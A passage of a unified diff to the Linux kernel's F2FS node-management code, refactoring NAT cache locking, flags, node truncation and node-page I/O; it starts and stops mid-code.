radix_tree_lookup(&nm_i->nat_set_root, set); + if (!head) { + head = f2fs_kmem_cache_alloc(nat_entry_set_slab, GFP_NOFS); + + INIT_LIST_HEAD(&head->entry_list); + INIT_LIST_HEAD(&head->set_list); + head->set = set; + head->entry_cnt = 0; + f2fs_radix_tree_insert(&nm_i->nat_set_root, set, head); + } + list_move_tail(&ne->list, &head->entry_list); + nm_i->dirty_nat_cnt++; + head->entry_cnt++; + set_nat_flag(ne, IS_DIRTY, true); +} + +static void __clear_nat_cache_dirty(struct f2fs_nm_info *nm_i, + struct nat_entry *ne) +{ + nid_t set = NAT_BLOCK_OFFSET(ne->ni.nid); + struct nat_entry_set *head; + + head = radix_tree_lookup(&nm_i->nat_set_root, set); + if (head) { + list_move_tail(&ne->list, &nm_i->nat_entries); + set_nat_flag(ne, IS_DIRTY, false); + head->entry_cnt--; + nm_i->dirty_nat_cnt--; + } +} + +static unsigned int __gang_lookup_nat_set(struct f2fs_nm_info *nm_i, + nid_t start, unsigned int nr, struct nat_entry_set **ep) +{ + return radix_tree_gang_lookup(&nm_i->nat_set_root, (void **)ep, + start, nr); +} + +int need_dentry_mark(struct f2fs_sb_info *sbi, nid_t nid) +{ + struct f2fs_nm_info *nm_i = NM_I(sbi); + struct nat_entry *e; + bool need = false; + + down_read(&nm_i->nat_tree_lock); + e = __lookup_nat_cache(nm_i, nid); + if (e) { + if (!get_nat_flag(e, IS_CHECKPOINTED) && + !get_nat_flag(e, HAS_FSYNCED_INODE)) + need = true; + } + up_read(&nm_i->nat_tree_lock); + return need; +} + +bool is_checkpointed_node(struct f2fs_sb_info *sbi, nid_t nid) { struct f2fs_nm_info *nm_i = NM_I(sbi); struct nat_entry *e; - int is_cp = 1; + bool is_cp = true; - read_lock(&nm_i->nat_tree_lock); + down_read(&nm_i->nat_tree_lock); e = __lookup_nat_cache(nm_i, nid); - if (e && !e->checkpointed) - is_cp = 0; - read_unlock(&nm_i->nat_tree_lock); + if (e && !get_nat_flag(e, IS_CHECKPOINTED)) + is_cp = false; + up_read(&nm_i->nat_tree_lock); return is_cp; } +bool need_inode_block_update(struct f2fs_sb_info *sbi, nid_t ino) +{ + struct f2fs_nm_info *nm_i = NM_I(sbi); + struct nat_entry *e; + bool need_update = true; + + down_read(&nm_i->nat_tree_lock); + e = __lookup_nat_cache(nm_i, ino); + if (e && get_nat_flag(e, HAS_LAST_FSYNC) && + (get_nat_flag(e, IS_CHECKPOINTED) || + get_nat_flag(e, HAS_FSYNCED_INODE))) + need_update = false; + up_read(&nm_i->nat_tree_lock); + return need_update; +} + static struct nat_entry *grab_nat_entry(struct f2fs_nm_info *nm_i, nid_t nid) { struct nat_entry *new; - new = kmem_cache_alloc(nat_entry_slab, GFP_ATOMIC); - if (!new) - return NULL; - if (radix_tree_insert(&nm_i->nat_root, nid, new)) { - kmem_cache_free(nat_entry_slab, new); - return NULL; - } + new = f2fs_kmem_cache_alloc(nat_entry_slab, GFP_NOFS); + f2fs_radix_tree_insert(&nm_i->nat_root, nid, new); memset(new, 0, sizeof(struct nat_entry)); nat_set_nid(new, nid); + nat_reset_flag(new); list_add_tail(&new->list, &nm_i->nat_entries); nm_i->nat_cnt++; return new; @@ -171,83 +260,83 @@ static void cache_nat_entry(struct f2fs_nm_info *nm_i, nid_t nid, struct f2fs_nat_entry *ne) { struct nat_entry *e; -retry: - write_lock(&nm_i->nat_tree_lock); + + down_write(&nm_i->nat_tree_lock); e = __lookup_nat_cache(nm_i, nid); if (!e) { e = grab_nat_entry(nm_i, nid); - if (!e) { - write_unlock(&nm_i->nat_tree_lock); - goto retry; - } - nat_set_blkaddr(e, le32_to_cpu(ne->block_addr)); - nat_set_ino(e, le32_to_cpu(ne->ino)); - nat_set_version(e, ne->version); - e->checkpointed = true; + node_info_from_raw_nat(&e->ni, ne); } - write_unlock(&nm_i->nat_tree_lock); + up_write(&nm_i->nat_tree_lock); } static void set_node_addr(struct f2fs_sb_info *sbi, struct node_info *ni, - block_t new_blkaddr) + block_t new_blkaddr, bool fsync_done) { struct f2fs_nm_info *nm_i = NM_I(sbi); struct nat_entry *e; -retry: - write_lock(&nm_i->nat_tree_lock); + + down_write(&nm_i->nat_tree_lock); e = __lookup_nat_cache(nm_i, ni->nid); if (!e) { e = grab_nat_entry(nm_i, ni->nid); - if (!e) { - write_unlock(&nm_i->nat_tree_lock); - goto retry; - } - e->ni = *ni; - e->checkpointed = true; - BUG_ON(ni->blk_addr == NEW_ADDR); + copy_node_info(&e->ni, ni); + f2fs_bug_on(sbi, ni->blk_addr == NEW_ADDR); } else if (new_blkaddr == NEW_ADDR) { /* * when nid is reallocated, * previous nat entry can be remained in nat cache. * So, reinitialize it with new information. */ - e->ni = *ni; - BUG_ON(ni->blk_addr != NULL_ADDR); + copy_node_info(&e->ni, ni); + f2fs_bug_on(sbi, ni->blk_addr != NULL_ADDR); } - if (new_blkaddr == NEW_ADDR) - e->checkpointed = false; - /* sanity check */ - BUG_ON(nat_get_blkaddr(e) != ni->blk_addr); - BUG_ON(nat_get_blkaddr(e) == NULL_ADDR && + f2fs_bug_on(sbi, nat_get_blkaddr(e) != ni->blk_addr); + f2fs_bug_on(sbi, nat_get_blkaddr(e) == NULL_ADDR && new_blkaddr == NULL_ADDR); - BUG_ON(nat_get_blkaddr(e) == NEW_ADDR && + f2fs_bug_on(sbi, nat_get_blkaddr(e) == NEW_ADDR && new_blkaddr == NEW_ADDR); - BUG_ON(nat_get_blkaddr(e) != NEW_ADDR && + f2fs_bug_on(sbi, nat_get_blkaddr(e) != NEW_ADDR && nat_get_blkaddr(e) != NULL_ADDR && new_blkaddr == NEW_ADDR); - /* increament version no as node is removed */ + /* increment version no as node is removed */ if (nat_get_blkaddr(e) != NEW_ADDR && new_blkaddr == NULL_ADDR) { unsigned char version = nat_get_version(e); nat_set_version(e, inc_node_version(version)); + + /* in order to reuse the nid */ + if (nm_i->next_scan_nid > ni->nid) + nm_i->next_scan_nid = ni->nid; } /* change address */ nat_set_blkaddr(e, new_blkaddr); + if (new_blkaddr == NEW_ADDR || new_blkaddr == NULL_ADDR) + set_nat_flag(e, IS_CHECKPOINTED, false); __set_nat_cache_dirty(nm_i, e); - write_unlock(&nm_i->nat_tree_lock); + + /* update fsync_mark if its inode nat entry is still alive */ + if (ni->nid != ni->ino) + e = __lookup_nat_cache(nm_i, ni->ino); + if (e) { + if (fsync_done && ni->nid == ni->ino) + set_nat_flag(e, HAS_FSYNCED_INODE, true); + set_nat_flag(e, HAS_LAST_FSYNC, fsync_done); + } + up_write(&nm_i->nat_tree_lock); } -static int try_to_free_nats(struct f2fs_sb_info *sbi, int nr_shrink) +int try_to_free_nats(struct f2fs_sb_info *sbi, int nr_shrink) { struct f2fs_nm_info *nm_i = NM_I(sbi); + int nr = nr_shrink; - if (nm_i->nat_cnt <= NM_WOUT_THRESHOLD) + if (!down_write_trylock(&nm_i->nat_tree_lock)) return 0; - write_lock(&nm_i->nat_tree_lock); while (nr_shrink && !list_empty(&nm_i->nat_entries)) { struct nat_entry *ne; ne = list_first_entry(&nm_i->nat_entries, @@ -255,12 +344,12 @@ static int try_to_free_nats(struct f2fs_sb_info *sbi, int nr_shrink) __del_from_nat_cache(nm_i, ne); nr_shrink--; } - write_unlock(&nm_i->nat_tree_lock); - return nr_shrink; + up_write(&nm_i->nat_tree_lock); + return nr - nr_shrink; } /* - * This function returns always success + * This function always returns success */ void get_node_info(struct f2fs_sb_info *sbi, nid_t nid, struct node_info *ni) { @@ -274,21 +363,22 @@ void get_node_info(struct f2fs_sb_info *sbi, nid_t nid, struct node_info *ni) struct nat_entry *e; int i; - memset(&ne, 0, sizeof(struct f2fs_nat_entry)); ni->nid = nid; /* Check nat cache */ - read_lock(&nm_i->nat_tree_lock); + down_read(&nm_i->nat_tree_lock); e = __lookup_nat_cache(nm_i, nid); if (e) { ni->ino = nat_get_ino(e); ni->blk_addr = nat_get_blkaddr(e); ni->version = nat_get_version(e); } - read_unlock(&nm_i->nat_tree_lock); + up_read(&nm_i->nat_tree_lock); if (e) return; + memset(&ne, 0, sizeof(struct f2fs_nat_entry)); + /* Check current segment summary */ mutex_lock(&curseg->curseg_mutex); i = lookup_journal_in_cursum(sum, NAT_JOURNAL, nid, 0); @@ -315,9 +405,10 @@ void get_node_info(struct f2fs_sb_info *sbi, nid_t nid, struct node_info *ni) * The maximum depth is four. * Offset[0] will have raw inode offset. */ -static int get_node_path(long block, int offset[4], unsigned int noffset[4]) +static int get_node_path(struct f2fs_inode_info *fi, long block, + int offset[4], unsigned int noffset[4]) { - const long direct_index = ADDRS_PER_INODE; + const long direct_index = ADDRS_PER_INODE(fi); const long direct_blks = ADDRS_PER_BLOCK; const long dptrs_per_blk = NIDS_PER_BLOCK; const long indirect_blks = ADDRS_PER_BLOCK * NIDS_PER_BLOCK; @@ -390,27 +481,38 @@ static int get_node_path(long block, int offset[4], unsigned int noffset[4]) /* * Caller should call f2fs_put_dnode(dn). - * Also, it should grab and release a mutex by calling mutex_lock_op() and - * mutex_unlock_op() only if ro is not set RDONLY_NODE. + * Also, it should grab and release a rwsem by calling f2fs_lock_op() and + * f2fs_unlock_op() only if ro is not set RDONLY_NODE. * In the case of RDONLY_NODE, we don't need to care about mutex. */ int get_dnode_of_data(struct dnode_of_data *dn, pgoff_t index, int mode) { - struct f2fs_sb_info *sbi = F2FS_SB(dn->inode->i_sb); + struct f2fs_sb_info *sbi = F2FS_I_SB(dn->inode); struct page *npage[4]; - struct page *parent; + struct page *parent = NULL; int offset[4]; unsigned int noffset[4]; nid_t nids[4]; int level, i; int err = 0; - level = get_node_path(index, offset, noffset); + level = get_node_path(F2FS_I(dn->inode), index, offset, noffset); nids[0] = dn->inode->i_ino; - npage[0] = get_node_page(sbi, nids[0]); - if (IS_ERR(npage[0])) - return PTR_ERR(npage[0]); + npage[0] = dn->inode_page; + + if (!npage[0]) { + npage[0] = get_node_page(sbi, nids[0]); + if (IS_ERR(npage[0])) + return PTR_ERR(npage[0]); + } + + /* if inline_data is set, should not report any block indices */ + if (f2fs_has_inline_data(dn->inode) && index) { + err = -ENOENT; + f2fs_put_page(npage[0], 1); + goto release_out; + } parent = npage[0]; if (level != 0) @@ -430,7 +532,7 @@ int get_dnode_of_data(struct dnode_of_data *dn, pgoff_t index, int mode) } dn->nid = nids[i]; - npage[i] = new_node_page(dn, noffset[i]); + npage[i] = new_node_page(dn, noffset[i], NULL); if (IS_ERR(npage[i])) { alloc_nid_failed(sbi, nids[i]); err = PTR_ERR(npage[i]); @@ -486,20 +588,20 @@ int get_dnode_of_data(struct dnode_of_data *dn, pgoff_t index, int mode) static void truncate_node(struct dnode_of_data *dn) { - struct f2fs_sb_info *sbi = F2FS_SB(dn->inode->i_sb); + struct f2fs_sb_info *sbi = F2FS_I_SB(dn->inode); struct node_info ni; get_node_info(sbi, dn->nid, &ni); if (dn->inode->i_blocks == 0) { - BUG_ON(ni.blk_addr != NULL_ADDR); + f2fs_bug_on(sbi, ni.blk_addr != NULL_ADDR); goto invalidate; } - BUG_ON(ni.blk_addr == NULL_ADDR); + f2fs_bug_on(sbi, ni.blk_addr == NULL_ADDR); /* Deallocate node address */ invalidate_blocks(sbi, ni.blk_addr); - dec_valid_node_count(sbi, dn->inode, 1); - set_node_addr(sbi, &ni, NULL_ADDR); + dec_valid_node_count(sbi, dn->inode); + set_node_addr(sbi, &ni, NULL_ADDR, false); if (dn->nid == dn->inode->i_ino) { remove_orphan_inode(sbi, dn->nid); @@ -509,23 +611,26 @@ static void truncate_node(struct dnode_of_data *dn) } invalidate: clear_node_page_dirty(dn->node_page); - F2FS_SET_SB_DIRT(sbi); + set_sbi_flag(sbi, SBI_IS_DIRTY); f2fs_put_page(dn->node_page, 1); + + invalidate_mapping_pages(NODE_MAPPING(sbi), + dn->node_page->index, dn->node_page->index); + dn->node_page = NULL; trace_f2fs_truncate_node(dn->inode, dn->nid, ni.blk_addr); } static int truncate_dnode(struct dnode_of_data *dn) { - struct f2fs_sb_info *sbi = F2FS_SB(dn->inode->i_sb); struct page *page; if (dn->nid == 0) return 1; /* get direct node */ - page = get_node_page(sbi, dn->nid); + page = get_node_page(F2FS_I_SB(dn->inode), dn->nid); if (IS_ERR(page) && PTR_ERR(page) == -ENOENT) return 1; else if (IS_ERR(page)) @@ -542,7 +647,6 @@ static int truncate_dnode(struct dnode_of_data *dn) static int truncate_nodes(struct dnode_of_data *dn, unsigned int nofs, int ofs, int depth) { - struct f2fs_sb_info *sbi = F2FS_SB(dn->inode->i_sb); struct dnode_of_data rdn = *dn; struct page *page; struct f2fs_node *rn; @@ -556,13 +660,13 @@ static int truncate_nodes(struct dnode_of_data *dn, unsigned int nofs, trace_f2fs_truncate_nodes_enter(dn->inode, dn->nid, dn->data_blkaddr); - page = get_node_page(sbi, dn->nid); + page = get_node_page(F2FS_I_SB(dn->inode), dn->nid); if (IS_ERR(page)) { trace_f2fs_truncate_nodes_exit(dn->inode, PTR_ERR(page)); return PTR_ERR(page); } - rn = (struct f2fs_node *)page_address(page); + rn = F2FS_NODE(page); if (depth < 3) { for (i = ofs; i < NIDS_PER_BLOCK; i++, freed++) { child_nid = le32_to_cpu(rn->in.nid[i]); @@ -614,7 +718,6 @@ static int truncate_nodes(struct dnode_of_data *dn, unsigned int nofs, static int truncate_partial_nodes(struct dnode_of_data *dn, struct f2fs_inode *ri, int *offset, int depth) { - struct f2fs_sb_info *sbi = F2FS_SB(dn->inode->i_sb); struct page *pages[2]; nid_t nid[3]; nid_t child_nid; @@ -627,19 +730,19 @@ static int truncate_partial_nodes(struct dnode_of_data *dn, return 0; /* get indirect nodes in the path */ - for (i = 0; i < depth - 1; i++) { - /* refernece count'll be increased */ - pages[i] = get_node_page(sbi, nid[i]); + for (i = 0; i < idx + 1; i++) { + /* reference count'll be increased */ + pages[i] = get_node_page(F2FS_I_SB(dn->inode), nid[i]); if (IS_ERR(pages[i])) { - depth = i + 1; err = PTR_ERR(pages[i]); + idx = i - 1; goto fail; } nid[i + 1] = get_nid(pages[i], offset[i + 1], false); } /* free direct nodes linked to a partial indirect node */ - for (i = offset[depth - 1]; i < NIDS_PER_BLOCK; i++) { + for (i = offset[idx + 1]; i < NIDS_PER_BLOCK; i++) { child_nid = get_nid(pages[idx], i, false); if (!child_nid) continue; @@ -650,7 +753,7 @@ static int truncate_partial_nodes(struct dnode_of_data *dn, set_nid(pages[idx], i, 0, false); } - if (offset[depth - 1] == 0) { + if (offset[idx + 1] == 0) { dn->node_page = pages[idx]; dn->nid = nid[idx]; truncate_node(dn); @@ -658,9 +761,10 @@ static int truncate_partial_nodes(struct dnode_of_data *dn, f2fs_put_page(pages[idx], 1); } offset[idx]++; - offset[depth - 1] = 0; + offset[idx + 1] = 0; + idx--; fail: - for (i = depth - 3; i >= 0; i--) + for (i = idx; i >= 0; i--) f2fs_put_page(pages[i], 1); trace_f2fs_truncate_partial_nodes(dn->inode, nid, depth, err); @@ -673,18 +777,17 @@ static int truncate_partial_nodes(struct dnode_of_data *dn, */ int truncate_inode_blocks(struct inode *inode, pgoff_t from) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - struct address_space *node_mapping = sbi->node_inode->i_mapping; + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); int err = 0, cont = 1; int level, offset[4], noffset[4]; unsigned int nofs = 0; - struct f2fs_node *rn; + struct f2fs_inode *ri; struct dnode_of_data dn; struct page *page; trace_f2fs_truncate_inode_blocks_enter(inode, from); - level = get_node_path(from, offset, noffset); + level = get_node_path(F2FS_I(inode), from, offset, noffset); restart: page = get_node_page(sbi, inode->i_ino); if (IS_ERR(page)) { @@ -695,7 +798,7 @@ int truncate_inode_blocks(struct inode *inode, pgoff_t from) set_new_dnode(&dn, inode, page, NULL, 0); unlock_page(page); - rn = page_address(page); + ri = F2FS_INODE(page); switch (level) { case 0: case 1: @@ -705,7 +808,7 @@ int truncate_inode_blocks(struct inode *inode, pgoff_t from) nofs = noffset[1]; if (!offset[level - 1]) goto skip_partial; - err = truncate_partial_nodes(&dn, &rn->i, offset, level); + err = truncate_partial_nodes(&dn, ri, offset, level); if (err < 0 && err != -ENOENT) goto fail; nofs += 1 + NIDS_PER_BLOCK; @@ -714,7 +817,7 @@ int truncate_inode_blocks(struct inode *inode, pgoff_t from) nofs = 5 + 2 * NIDS_PER_BLOCK; if (!offset[level - 1]) goto skip_partial; - err = truncate_partial_nodes(&dn, &rn->i, offset, level); + err = truncate_partial_nodes(&dn, ri, offset, level); if (err < 0 && err != -ENOENT) goto fail; break; @@ -724,7 +827,7 @@ int truncate_inode_blocks(struct inode *inode, pgoff_t from) skip_partial: while (cont) { - dn.nid = le32_to_cpu(rn->i.i_nid[offset[0] - NODE_DIR1_BLOCK]); + dn.nid = le32_to_cpu(ri->i_nid[offset[0] - NODE_DIR1_BLOCK]); switch (offset[0]) { case NODE_DIR1_BLOCK: case NODE_DIR2_BLOCK: @@ -747,14 +850,14 @@ int truncate_inode_blocks(struct inode *inode, pgoff_t from) if (err < 0 && err != -ENOENT) goto fail; if (offset[1] == 0 && - rn->i.i_nid[offset[0] - NODE_DIR1_BLOCK]) { + ri->i_nid[offset[0] - NODE_DIR1_BLOCK]) { lock_page(page); - if (page->mapping != node_mapping) { + if (unlikely(page->mapping != NODE_MAPPING(sbi))) { f2fs_put_page(page, 1); goto restart; } - wait_on_page_writeback(page); - rn->i.i_nid[offset[0] - NODE_DIR1_BLOCK] = 0; + f2fs_wait_on_page_writeback(page, NODE); + ri->i_nid[offset[0] - NODE_DIR1_BLOCK] = 0; set_page_dirty(page); unlock_page(page); } @@ -768,91 +871,120 @@ int truncate_inode_blocks(struct inode *inode, pgoff_t from) return err > 0 ? 0 : err; } +int truncate_xattr_node(struct inode *inode, struct page *page) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + nid_t nid = F2FS_I(inode)->i_xattr_nid; + struct dnode_of_data dn; + struct page *npage; + + if (!nid) + return 0; + + npage = get_node_page(sbi, nid); + if (IS_ERR(npage)) + return PTR_ERR(npage); + + F2FS_I(inode)->i_xattr_nid = 0; + + /* need to do checkpoint during fsync */ + F2FS_I(inode)->xattr_ver = cur_cp_version(F2FS_CKPT(sbi)); + + set_new_dnode(&dn, inode, page, npage, nid); + + if (page) + dn.inode_page_locked = true; + truncate_node(&dn); + return 0; +} + /* - * Caller should grab and release a mutex by calling mutex_lock_op() and - * mutex_unlock_op(). + * Caller should grab and release a rwsem by calling f2fs_lock_op() and + * f2fs_unlock_op(). */ int remove_inode_page(struct inode *inode) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - struct page *page; - nid_t ino = inode->i_ino; struct dnode_of_data dn; + int err; - page = get_node_page(sbi, ino); - if (IS_ERR(page)) - return PTR_ERR(page); + set_new_dnode(&dn, inode, NULL, NULL, inode->i_ino); + err = get_dnode_of_data(&dn, 0, LOOKUP_NODE); + if (err) + return err; - if (F2FS_I(inode)->i_xattr_nid) { - nid_t nid = F2FS_I(inode)->i_xattr_nid; - struct page *npage = get_node_page(sbi, nid); + err = truncate_xattr_node(inode, dn.inode_page); + if (err) { + f2fs_put_dnode(&dn); + return err; + } - if (IS_ERR(npage)) - return PTR_ERR(npage); + /* remove potential inline_data blocks */ + if (S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode) || + S_ISLNK(inode->i_mode)) + truncate_data_blocks_range(&dn, 1); - F2FS_I(inode)->i_xattr_nid = 0; - set_new_dnode(&dn, inode, page, npage, nid); - dn.inode_page_locked = 1; - truncate_node(&dn); - } + /* 0 is possible, after f2fs_new_inode() has failed */ + f2fs_bug_on(F2FS_I_SB(inode), + inode->i_blocks != 0 && inode->i_blocks != 1); - /* 0 is possible, after f2fs_new_inode() is failed */ - BUG_ON(inode->i_blocks != 0 && inode->i_blocks != 1); - set_new_dnode(&dn, inode, page, page, ino); + /* will put inode & node pages */ truncate_node(&dn); return 0; } -int new_inode_page(struct inode *inode, const struct qstr *name) +struct page *new_inode_page(struct inode *inode) { - struct page *page; struct dnode_of_data dn; /* allocate inode page for new inode */ set_new_dnode(&dn, inode, NULL, NULL, inode->i_ino); - page = new_node_page(&dn, 0); - init_dent_inode(name, page); - if (IS_ERR(page)) - return PTR_ERR(page); - f2fs_put_page(page, 1); - return 0; + + /* caller should f2fs_put_page(page, 1); */ + return new_node_page(&dn, 0, NULL); } -struct page *new_node_page(struct dnode_of_data *dn, unsigned int ofs) +struct page *new_node_page(struct dnode_of_data *dn, + unsigned int ofs, struct page *ipage) { - struct f2fs_sb_info *sbi = F2FS_SB(dn->inode->i_sb); - struct address_space *mapping = sbi->node_inode->i_mapping; + struct f2fs_sb_info *sbi = F2FS_I_SB(dn->inode); struct node_info old_ni, new_ni; struct page *page; int err; - if (is_inode_flag_set(F2FS_I(dn->inode), FI_NO_ALLOC)) + if (unlikely(is_inode_flag_set(F2FS_I(dn->inode), FI_NO_ALLOC))) return ERR_PTR(-EPERM); - page = grab_cache_page(mapping, dn->nid); + page = grab_cache_page(NODE_MAPPING(sbi), dn->nid); if (!page) return ERR_PTR(-ENOMEM); - get_node_info(sbi, dn->nid, &old_ni); + if (unlikely(!inc_valid_node_count(sbi, dn->inode))) { + err = -ENOSPC; + goto fail; + } - SetPageUptodate(page); - fill_node_footer(page, dn->nid, dn->inode->i_ino, ofs, true); + get_node_info(sbi, dn->nid, &old_ni); /* Reinitialize old_ni with new node page */ - BUG_ON(old_ni.blk_addr != NULL_ADDR); + f2fs_bug_on(sbi, old_ni.blk_addr != NULL_ADDR); new_ni = old_ni; new_ni.ino = dn->inode->i_ino; + set_node_addr(sbi, &new_ni, NEW_ADDR, false); - if (!inc_valid_node_count(sbi, dn->inode, 1)) { - err = -ENOSPC; - goto fail; - } - set_node_addr(sbi, &new_ni, NEW_ADDR); + f2fs_wait_on_page_writeback(page, NODE); + fill_node_footer(page, dn->nid, dn->inode->i_ino, ofs, true); set_cold_node(dn->inode, page); + SetPageUptodate(page); + set_page_dirty(page); + + if (f2fs_has_xattr_block(ofs)) + F2FS_I(dn->inode)->i_xattr_nid = dn->nid; dn->node_page = page; - sync_inode_page(dn); - set_page_dirty(page); + if (ipage) + update_inode(dn->inode, ipage); + else + sync_inode_page(dn); if (ofs == 0) inc_valid_inode_count(sbi); @@ -867,25 +999,32 @@ struct page *new_node_page(struct dnode_of_data *dn, unsigned int ofs) /* * Caller should do after getting the following values. * 0: f2fs_put_page(page, 0) - * LOCKED_PAGE: f2fs_put_page(page, 1) - * error: nothing + * LOCKED_PAGE or error: f2fs_put_page(page, 1) */ -static int read_node_page(struct page *page, int type) +static int read_node_page(struct page *page, int rw) { - struct f2fs_sb_info *sbi = F2FS_SB(page->mapping->host->i_sb); + struct f2fs_sb_info *sbi = F2FS_P_SB(page); struct node_info ni; + struct f2fs_io_info fio = { + .sbi = sbi, + .type = NODE, + .rw = rw, + .page = page, + .encrypted_page = NULL, + }; get_node_info(sbi, page->index, &ni); - if (ni.blk_addr == NULL_ADDR) { - f2fs_put_page(page, 1); + if (unlikely(ni.blk_addr == NULL_ADDR)) { + ClearPageUptodate(page); return -ENOENT; } if (PageUptodate(page)) return LOCKED_PAGE; - return f2fs_readpage(sbi, page, ni.blk_addr, type); + fio.blk_addr = ni.blk_addr; + return f2fs_submit_page_bio(&fio); } /* @@ -893,56 +1032,50 @@ static int read_node_page(struct page *page, int type) */ void ra_node_page(struct f2fs_sb_info *sbi, nid_t nid) { - struct address_space *mapping = sbi->node_inode->i_mapping; struct page *apage; int err; - apage = find_get_page(mapping, nid); + apage = find_get_page(NODE_MAPPING(sbi), nid); if (apage && PageUptodate(apage)) { f2fs_put_page(apage, 0); return; } f2fs_put_page(apage, 0); - apage = grab_cache_page(mapping, nid); + apage = grab_cache_page(NODE_MAPPING(sbi), nid); if (!apage) return; err = read_node_page(apage, READA); - if (err == 0) - f2fs_put_page(apage, 0); - else if (err == LOCKED_PAGE) - f2fs_put_page(apage, 1); - return; + f2fs_put_page(apage, err ? 1 : 0); } struct page *get_node_page(struct f2fs_sb_info *sbi, pgoff_t nid) { - struct address_space *mapping = sbi->node_inode->i_mapping; struct page *page; int err; repeat: - page = grab_cache_page(mapping, nid); + page = grab_cache_page(NODE_MAPPING(sbi), nid); if (!page) return ERR_PTR(-ENOMEM); err = read_node_page(page, READ_SYNC); - if (err < 0) + if (err < 0) { + f2fs_put_page(page, 1); return ERR_PTR(err); - else if (err == LOCKED_PAGE) - goto got_it; + } else if (err != LOCKED_PAGE) { + lock_page(page); + } - lock_page(page); - if (!PageUptodate(page)) { + if (unlikely(!PageUptodate(page) || nid != nid_of_node(page))) { + ClearPageUptodate(page); f2fs_put_page(page, 1); return ERR_PTR(-EIO); } - if (page->mapping != mapping) { + if (unlikely(page->mapping != NODE_MAPPING(sbi))) { f2fs_put_page(page, 1); goto repeat; } -got_it: - BUG_ON(nid != nid_of_node(page)); mark_page_accessed(page); return page; } @@ -953,8 +1086,7 @@ struct page *get_node_page(struct f2fs_sb_info *sbi, pgoff_t nid) */ struct page *get_node_page_ra(struct page *parent, int start) { - struct f2fs_sb_info *sbi = F2FS_SB(parent->mapping->host->i_sb); - struct address_space *mapping = sbi->node_inode->i_mapping; + struct f2fs_sb_info *sbi = F2FS_P_SB(parent); struct blk_plug plug; struct page *page; int err, i, end; @@ -965,15 +1097,17 @@ struct page *get_node_page_ra(struct page *parent, int start) if (!nid) return ERR_PTR(-ENOENT); repeat: - page = grab_cache_page(mapping, nid); + page = grab_cache_page(NODE_MAPPING(sbi), nid); if (!page) return ERR_PTR(-ENOMEM); err = read_node_page(page, READ_SYNC); - if (err < 0) + if (err < 0) { + f2fs_put_page(page, 1); return ERR_PTR(err); - else if (err == LOCKED_PAGE) + } else if (err == LOCKED_PAGE) { goto page_hit; + } blk_start_plug(&plug); @@ -990,12 +1124,12 @@ struct page *get_node_page_ra(struct page *parent, int start) blk_finish_plug(&plug); lock_page(page); - if (page->mapping != mapping) { + if (unlikely(page->mapping != NODE_MAPPING(sbi))) { f2fs_put_page(page, 1); goto repeat; } page_hit: - if (!PageUptodate(page)) { + if (unlikely(!PageUptodate(page))) { f2fs_put_page(page, 1); return ERR_PTR(-EIO); } @@ -1021,7 +1155,6 @@ void sync_inode_page(struct dnode_of_data *dn) int sync_node_pages(struct f2fs_sb_info *sbi, nid_t ino, struct writeback_control *wbc) { - struct address_space *mapping = sbi->node_inode->i_mapping; pgoff_t index, end; struct pagevec pvec; int step = ino ? 2 : 0; @@ -1035,7 +1168,7 @@ int sync_node_pages(struct f2fs_sb_info *sbi, nid_t ino, while (index <= end) { int i, nr_pages; - nr_pages = pagevec_lookup_tag(&pvec, mapping, &index, + nr_pages = pagevec_lookup_tag(&pvec, NODE_MAPPING(sbi), &index, PAGECACHE_TAG_DIRTY, min(end - index, (pgoff_t)PAGEVEC_SIZE-1) + 1); if (nr_pages == 0) @@ -1068,7 +1201,7 @@ int sync_node_pages(struct f2fs_sb_info *sbi, nid_t ino, else if (!trylock_page(page)) continue; - if (unlikely(page->mapping != mapping)) { + if (unlikely(page->mapping != NODE_MAPPING(sbi))) { continue_unlock: unlock_page(page); continue; @@ -1086,17 +1219,20 @@ int sync_node_pages(struct f2fs_sb_info *sbi, nid_t ino, /* called by fsync() */ if (ino && IS_DNODE(page)) { - int mark = !is_checkpointed_node(sbi, ino); set_fsync_mark(page, 1); if (IS_INODE(page)) - set_dentry_mark(page, mark); + set_dentry_mark(page, + need_dentry_mark(sbi, ino)); nwritten++; } else { set_fsync_mark(page, 0); set_dentry_mark(page, 0); } - mapping->a_ops->writepage(page, wbc); - wrote++; + + if (NODE_MAPPING(sbi)->a_ops->writepage(page, wbc)) + unlock_page(page); + else + wrote++; if (--wbc->nr_to_write == 0) break; @@ -1116,110 +1252,156 @@ int sync_node_pages(struct f2fs_sb_info *sbi, nid_t ino, } if (wrote) - f2fs_submit_bio(sbi, NODE, wbc->sync_mode == WB_SYNC_ALL); - + f2fs_submit_merged_bio(sbi, NODE, WRITE); return nwritten; } +int wait_on_node_pages_writeback(struct f2fs_sb_info *sbi, nid_t ino) +{ + pgoff_t index = 0, end = LONG_MAX; + struct pagevec pvec; + int ret2 = 0, ret = 0; + + pagevec_init(&pvec, 0); + + while (index <= end) { + int i, nr_pages; + nr_pages = pagevec_lookup_tag(&pvec, NODE_MAPPING(sbi), &index, + PAGECACHE_TAG_WRITEBACK, + min(end - index, (pgoff_t)PAGEVEC_SIZE-1) + 1); + if (nr_pages == 0) + break; + + for (i = 0; i < nr_pages; i++) { + struct page *page = pvec.pages[i]; + + /* until radix tree lookup accepts end_index */ + if (unlikely(page->index > end)) + continue; + + if (ino && ino_of_node(page) == ino) { + f2fs_wait_on_page_writeback(page, NODE); + if (TestClearPageError(page)) + ret = -EIO; + } + } + pagevec_release(&pvec); + cond_resched(); + } + + if (unlikely(test_and_clear_bit(AS_ENOSPC, &NODE_MAPPING(sbi)->flags))) + ret2 = -ENOSPC; + if (unlikely(test_and_clear_bit(AS_EIO, &NODE_MAPPING(sbi)->flags))) + ret2 = -EIO; + if (!ret) + ret = ret2; + return ret; +} + static int f2fs_write_node_page(struct page *page, struct writeback_control *wbc) { - struct f2fs_sb_info *sbi = F2FS_SB(page->mapping->host->i_sb); + struct f2fs_sb_info *sbi = F2FS_P_SB(page); nid_t nid; - block_t new_addr; struct node_info ni; + struct f2fs_io_info fio = { + .sbi = sbi, + .type = NODE, + .rw = (wbc->sync_mode == WB_SYNC_ALL) ? WRITE_SYNC : WRITE, + .page = page, + .encrypted_page = NULL, + }; + + trace_f2fs_writepage(page, NODE); + + if (unlikely(is_sbi_flag_set(sbi, SBI_POR_DOING))) + goto redirty_out; + if 